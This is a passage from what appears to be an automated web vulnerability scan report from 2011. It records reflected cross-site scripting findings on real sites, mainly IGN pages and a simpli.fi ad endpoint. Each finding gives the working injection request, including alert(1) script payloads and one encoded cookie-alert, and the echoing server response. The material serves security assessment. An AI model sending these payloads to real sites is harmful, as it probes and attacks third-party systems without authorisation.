document.write('<img width="0" height="0" src="http://tag.admeld.com/match?admeld_adprovider_id=33810b04'-alert(1)-'33174dc278c&external_user_id=D8DB51BF08484217F5D14AB47F4002AD"/>');

3.495. http://um.simpli.fi/am_redirect_js [admeld_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://um.simpli.fi
Path:	/am_redirect_js

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e2e8'-alert(1)-'64440ac811d was submitted in the admeld_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /am_redirect_js?admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=338&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match9e2e8'-alert(1)-'64440ac811d HTTP/1.1
Host: um.simpli.fi
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045700262&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=v1Hb2BdCSAi0StH1rQJAf7%3D%3D

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:27:53 GMT
Content-Type: application/x-javascript
Connection: close
Content-Length: 185

document.write('<img width="0" height="0" src="http://tag.admeld.com/match9e2e8'-alert(1)-'64440ac811d?admeld_adprovider_id=338&external_user_id=D8DB51BF08484217F5D14AB47F4002AD"/>');

3.496. http://video.ign.com/uservideos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.ign.com
Path:	/uservideos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94ea0"><script>alert(1)</script>3e0fb0b5eae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /uservideos.html?94ea0"><script>alert(1)</script>3e0fb0b5eae=1 HTTP/1.1
Host: video.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:55 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-1890126909-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043995368v-1n-12mc+1297043995368mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 72524

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://video.ign.com/uservideos.html?94ea0"><script>alert(1)</script>3e0fb0b5eae=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.497. http://video.ign.com/uservideos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.ign.com
Path:	/uservideos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9d659"-alert(1)-"91b792bb0f2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /uservideos.html?9d659"-alert(1)-"91b792bb0f2=1 HTTP/1.1
Host: video.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:57 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-395992606-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:57 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043997451v-1n-12mc+1297043997451mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 72467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://video.ign.com/uservideos.html?9d659"-alert(1)-"91b792bb0f2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.498. http://wii.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0187"-alert(1)-"e0e37638ca3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?b0187"-alert(1)-"e0e37638ca3=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:04 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-513117964-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:04 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044004183v-1n-12mc+1297044004183mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 156770

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Nintendo Wii Games
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/?b0187"-alert(1)-"e0e37638ca3=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.499. http://wii.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ab6d"><script>alert(1)</script>be2dec68eca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?4ab6d"><script>alert(1)</script>be2dec68eca=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:02 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-1295713973-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:01 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044001748v-1n-12mc+1297044001748mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 156813

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Nintendo Wii Games
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/?4ab6d"><script>alert(1)</script>be2dec68eca=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.500. http://wii.ign.com/articles/113/1135489p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/113/1135489p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 87926"-alert(1)-"8f7f727999b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/113/1135489p1.html?87926"-alert(1)-"8f7f727999b=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:01:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:01:01 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-97004581-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:00 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044060847v-1n-12mc+1297044060847mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 95902

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/articles/113/1135489p1.html?87926"-alert(1)-"8f7f727999b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.501. http://wii.ign.com/articles/113/1135489p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/113/1135489p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55fab"><script>alert(1)</script>037456cd70d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/113/1135489p1.html?55fab"><script>alert(1)</script>037456cd70d=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:59 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1237477586-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:59 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044059278v-1n-12mc+1297044059278mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 95984

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/articles/113/1135489p1.html?55fab"><script>alert(1)</script>037456cd70d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.502. http://wii.ign.com/articles/114/1147411c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1147411c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53923"><script>alert(1)</script>a5b33badb36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147411c.html?53923"><script>alert(1)</script>a5b33badb36=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-507383348-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044044005v-1n-12mc+1297044044005mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 89524

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/articles/114/1147411c.html?53923"><script>alert(1)</script>a5b33badb36=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.503. http://wii.ign.com/articles/114/1147411c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1147411c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18fd1"-alert(1)-"382b52cfe36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147411c.html?18fd1"-alert(1)-"382b52cfe36=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:45 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-964320951-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:45 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044045662v-1n-12mc+1297044045662mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 89477

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/articles/114/1147411c.html?18fd1"-alert(1)-"382b52cfe36=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.504. http://wii.ign.com/articles/114/1147411p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1147411p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1f7c"-alert(1)-"384b8b1f11e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147411p1.html?e1f7c"-alert(1)-"384b8b1f11e=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-1937402232-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044047281v-1n-12mc+1297044047281mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 107920

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/articles/114/1147411p1.html?e1f7c"-alert(1)-"384b8b1f11e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.505. http://wii.ign.com/articles/114/1147411p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1147411p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89ffa"><script>alert(1)</script>62cd08f0467 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147411p1.html?89ffa"><script>alert(1)</script>62cd08f0467=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:45 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-2071070804-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:45 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044045574v-1n-12mc+1297044045574mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 107833

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/articles/114/1147411p1.html?89ffa"><script>alert(1)</script>62cd08f0467=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.506. http://wii.ign.com/articles/114/1148074c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1148074c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6df0f"-alert(1)-"ccda39703bc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148074c.html?6df0f"-alert(1)-"ccda39703bc=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-125591221-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044055367v-1n-12mc+1297044055367mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 80908

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/articles/114/1148074c.html?6df0f"-alert(1)-"ccda39703bc=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.507. http://wii.ign.com/articles/114/1148074c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1148074c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50b58"><script>alert(1)</script>606ec573d57 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148074c.html?50b58"><script>alert(1)</script>606ec573d57=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-862434780-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:54 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044054053v-1n-12mc+1297044054053mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 81135

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/articles/114/1148074c.html?50b58"><script>alert(1)</script>606ec573d57=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.508. http://wii.ign.com/articles/114/1148074p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1148074p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d081f"-alert(1)-"2215f6f303f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148074p1.html?d081f"-alert(1)-"2215f6f303f=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-1705662392-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:51 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044052015v-1n-12mc+1297044052015mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 93307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/articles/114/1148074p1.html?d081f"-alert(1)-"2215f6f303f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.509. http://wii.ign.com/articles/114/1148074p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/articles/114/1148074p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c075c"><script>alert(1)</script>c7d482579d9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148074p1.html?c075c"><script>alert(1)</script>c7d482579d9=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
